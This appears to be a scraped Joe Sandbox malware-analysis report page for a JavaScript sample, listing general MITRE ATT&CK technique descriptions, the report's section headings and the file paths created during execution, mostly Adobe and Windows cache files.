Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 5476263142183119959.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\5557a44a-5609-447f-99e6-2c10e0c66bec.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
5476263142183119959.js